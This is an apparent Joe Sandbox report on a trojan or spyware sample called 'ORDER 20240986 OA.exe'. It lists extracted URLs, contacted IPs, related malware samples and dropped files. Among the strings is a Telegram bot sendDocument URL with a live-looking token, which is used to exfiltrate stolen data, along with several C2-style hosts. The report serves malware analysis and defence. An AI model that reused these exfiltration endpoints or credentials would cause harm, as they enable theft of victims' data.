https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF6000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CA8000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F4F000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CDA000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038D1D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E4C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D92000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enWeb	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/lBdq	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037DBE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlBdq	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75$	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C8D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C48000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF9000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E28000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E53000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CAF000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F2A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038C84000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C8D000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037CB5000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C1D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CF9000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E28000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E53000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038CAF000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038F2A000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038C84000.00000004.00000800.00020000.00000000.sdmp	false		high
http://api.telegram.org	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037BD1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ORDER 20240986 OA.exe, 00000004.00000002.2972013904.0000000038E9A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7396856636:AAFzZvZlhz352HQorBY7sPxLQBc4vVQnrB8/sendDocument?chat_id=6553	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D51000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D65000.00000004.00000800.00020000.00000000.sdmp, ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037D76000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	ORDER 20240986 OA.exe, 00000004.00000002.2970820723.0000000037C1D000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
167.250.5.91	sierrassinfinusadas.com.ar	Argentina	264649	NUTHOSTSRLAR	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559976
Start date and time:	2024-11-21 08:59:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ORDER 20240986 OA.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/5@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 191 Number of non-executed functions: 135
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:01:28	API Interceptor	2114x Sleep call for process: ORDER 20240986 OA.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse
	new order #738833.exe	Get hash	malicious	GuLoader	Browse
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse
188.114.96.3	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/7pdXjNKP/download
158.101.44.242	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Xkl0PnD8zFPjfh1.wiz.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	rPO_1079021908.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PROFORMA + PENDENTES.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	#U00c1tutal#U00e1s-meger#U0151s#U00edt#U00e9se_469253-jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	PO-000041522.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Revised invoice.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	104.21.67.152
	REQUEST SCHL-30112023-M1 Quotation_1033855_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.67.152
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	188.114.97.3
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
checkip.dyndns.com	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	132.226.8.169
	REQUEST SCHL-30112023-M1 Quotation_1033855_pdf.exe	Get hash	malicious	GuLoader	Browse	132.226.247.73
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	132.226.247.73
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	193.122.6.168
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	132.226.247.73
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
sierrassinfinusadas.com.ar	PO#8329837372938383839238PDF.exe	Get hash	malicious	XWorm	Browse	167.250.5.91
	SecuriteInfo.com.FileRepMalware.29777.16321.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	167.250.5.91
	EQ_AW24 New Order Request.xlx.exe	Get hash	malicious	GuLoader, StormKitty, XWorm	Browse	167.250.5.91
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	GuLoader	Browse	167.250.5.91
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse	167.250.5.91
api.telegram.org	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	149.154.167.220
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	eddzD2MA12.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	DEVIS_VALIDE.js	Get hash	malicious	XWorm	Browse	149.154.167.220
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	149.154.167.220
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	114117914 - Rebound Electronics.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Secured Audlo_secpod.com_1524702658.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	https://texasbarcle.com/CLE/AAGateway.asp?lRefID=19203&sURL=https://famezik.com/#Zi5waWNhc3NvJG1hcmxhdGFua2Vycy5ncg==	Get hash	malicious	Unknown	Browse	1.1.1.1
	ArchivoNuevo.msi	Get hash	malicious	Unknown	Browse	162.159.140.238
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	188.114.97.6
	ibk0BQaWAo.exe	Get hash	malicious	Unknown	Browse	188.114.97.6
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
ORACLE-BMC-31898US	http://interpro.wisc.edu/courses/maintaining-asphalt-pavements/?utm_source=Brochure&utm_medium=postal&utm_campaign=D487&utm_term=SHB&utm_content=Sep	Get hash	malicious	Unknown	Browse	147.154.51.84
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	193.122.6.168
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	FACTURA A00072-24.- TPC CORPORATE EVENTS SL - PILAR FORGA.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	158.101.44.242
	#U5ba2#U6237#U9000#U6b3e#U7533#U8bf7#U8868-SUPERLEON NOVIEMBR.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	BOQ and Full Specification.exe	Get hash	malicious	GuLoader	Browse	193.122.6.168
	Request for Quotation MK FMHS.RFQ.24.11.20.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	MB267382625AE.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Benefit Enrollment -16oy1xb.pdf	Get hash	malicious	Unknown	Browse	188.114.96.3
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	REQUEST SCHL-30112023-M1 Quotation_1033855_pdf.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	Documents.pdf.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	file.exe	Get hash	malicious	JasonRAT	Browse	188.114.96.3
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	GST DRC-01A - DIN-20230359XL050081843E_msg.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	Quote document and order list.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
	new order #738833.exe	Get hash	malicious	GuLoader	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	PO#8329837372938383839238PDF.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	https://ollama.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	z1Tender_procurement_product_order__21_11_2024_.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	ArchivoNuevo.msi	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://tally.so/widgets/embed.js	Get hash	malicious	Unknown	Browse	149.154.167.220
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Lreticupdwy.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	z1Tender_procurement_product_order__21_11_2024_.vbs	Get hash	malicious	FormBook, GuLoader	Browse	167.250.5.91
	eddzD2MA12.exe	Get hash	malicious	Stealc, Vidar	Browse	167.250.5.91
	HnJdZm51Xl.exe	Get hash	malicious	Amadey, Clipboard Hijacker	Browse	167.250.5.91
	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	167.250.5.91
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	167.250.5.91
	YyA4O1TBSW.dll	Get hash	malicious	Unknown	Browse	167.250.5.91
	zlibwapi.dll.dll	Get hash	malicious	Unknown	Browse	167.250.5.91
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	167.250.5.91
	REQUEST SCHL-30112023-M1 Quotation_1033855_pdf.exe	Get hash	malicious	GuLoader	Browse	167.250.5.91
	STAFF RECORD_pdf.arj.exe	Get hash	malicious	Unknown	Browse	167.250.5.91

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse
	Conchoids12.exe	Get hash	malicious	GuLoader	Browse
	Korrekturlsning.exe	Get hash	malicious	GuLoader	Browse
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse
	rTransferenciarealizada451236.exe	Get hash	malicious	GuLoader	Browse
	Purchase Order Purchase Order Purchase Order Purchase Order.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Purchase Order Purchase Order Purchase Order Purchase Order.exe	Get hash	malicious	FormBook, GuLoader	Browse
	MG-Docu6800001.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Includer.Dob

Download File

Process:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
File Type:	Dyalog APL transfer
Category:	dropped
Size (bytes):	441422
Entropy (8bit):	6.974215186749837
Encrypted:	false
SSDEEP:	6144:+1++BQoVXU2p0IPDh1qxw8xgoPVc85HD9xx7tedzXdAYNALYvtEeV:+1ZSoVXrp0IPLqxFLxpD9MdztpAEv1
MD5:	4B9AE0012D965E9A7A0C1B47AF4ECB58
SHA1:	D76789EEA7266E6F2C64E081EA9AB77E42E7A5D6
SHA-256:	52ECEB4356B037DC5E86517A261F3CC4BC48B7402462AC3F02E56CD8FCD9E2BA
SHA-512:	FACEA292A8A4D6534ABECCFC641BBF3041B4D2B992FE6CD6EBFC44D6334B40384490BE1FFA7D2C37DEE7D1101A7EA9D262206DB463D25E3B085F9B4C447752C7
Malicious:	false
Reputation:	low
Preview:	````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi\moccasins.ved

Download File

Process:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
File Type:	data
Category:	dropped
Size (bytes):	73531
Entropy (8bit):	1.2569404898190384
Encrypted:	false
SSDEEP:	384:dVICOgr5CpPXeGASSCorJvHtPvpwqcQ+5pPZg71l4oLuZK52Oc410+RaL7VomsEa:dVcPX7U1R9mPZgx1hn32+emD40rd
MD5:	22148562A5A87FF1BECCAE5E77D87142
SHA1:	D1B04F09ACFC146855AA02A8C530AA8A45DF3F24
SHA-256:	B09EF713D0920E9671DA35332C6DAE7C1E12BE409A7077D6CA3E07938F9C08E9
SHA-512:	3F96B2ABED75C8EA941E45BB3835EF4D5FC92C5C5F829A738641FD398D88BB838E7C22A0F5F998BF387A5CE4ADC77EECAA049BCFB1A9ADD476871C871D58E811
Malicious:	false
Reputation:	low
Preview:	......................................................................................x..........................\|........................................l...................a.........................................U.....................k..........................................G..................................................................\|.....b....................O...R..........n...................&.....................l..................!.......6......... ......S.......................................}........................................7..................................................................................................................................................B......#......b....................60........?.....z.......>..........................:..............%..l...........g...........................=D.....{.....................................&........................{.......................i..........................................5.]............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Logoi\sporostrote.dip

Download File

Process:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
File Type:	data
Category:	dropped
Size (bytes):	220203
Entropy (8bit):	1.262001836842358
Encrypted:	false
SSDEEP:	768:EBCX3JLNVpAeI+EgywY0Szqqv3ib1RuU7thllrhAKF3+O1jaJgMH8JHuHR6qTSIT:EkLjwqF1z1MoqyH
MD5:	F8A828CA56113806A25802FF2AF74282
SHA1:	B016C4258BD1F9A19989E0C6B7AB993ED02DF96F
SHA-256:	95941451FFB946693877FBD721001ACC32FE70D75EA68CAB1756B3ADF77DCFF4
SHA-512:	6725AA09040FAC962CCFF2EF9897FB6F3F3706FE60D8C55A69CB9E0C21362B3C8C186C573D647C0A50438686D6035361A4A20138C451E641D507BD1218D1E079
Malicious:	false
Reputation:	low
Preview:	...................................................@......................................................................<....................................................O....../..........T.....................................i................................................................,.......................t.....................t.................................{!...................................................................................................X..........s.............@.............C....2................................-..............................w..............................................................H....................I........."..................C.................a................p...6.......................'......................................................................................%.............................x.................Q...................................z..........................i....hv...x.................`..........c.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

Download File

Process:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-12, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 649037107316853453566312041152512.000000
Category:	dropped
Size (bytes):	286686
Entropy (8bit):	1.2536158727628404
Encrypted:	false
SSDEEP:	768:3zbnVKpXfwz53wppkaub35azZSECekyln9KUXjJrv5YQ1ujVNDYb3ezsIhWCUiSL:KH4hI9iE3sLB9pXYzlkOYFWf9
MD5:	99A5E2E2953D0374F1E23FF8B0B6773F
SHA1:	5FC3F9C3638DD60012AB2F2ECDD016912BBDB9F3
SHA-256:	3D1233CB89AD10CCC6972697279A3741F6031E05D32738E9B34D37A230C0F84A
SHA-512:	1B002C12EAB187B0246483C5F3B0758DC84BCC884E1120A17B0412DFD349972DB5DA04E154AE21D405BA33BBD0C29AADFA7D1BF4D50347146D6DFCCBBD8DA94A
Malicious:	false
Reputation:	low
Preview:	.........................................\|.........................F........................................................S..............................S.................................................................8....;........................^........................)......"..Y........B................d......................}.........i......................................9.....................................R...............]............................................................I.........u..................................j.....^.....................................................................W..................................................................................m......................................*.....................>..........O........[................................................B............................}..../...............................[.......?.............................Z..#.........................4...............................

C:\Users\user\AppData\Local\Temp\nsx1318.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ORDER 20240986 OA.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
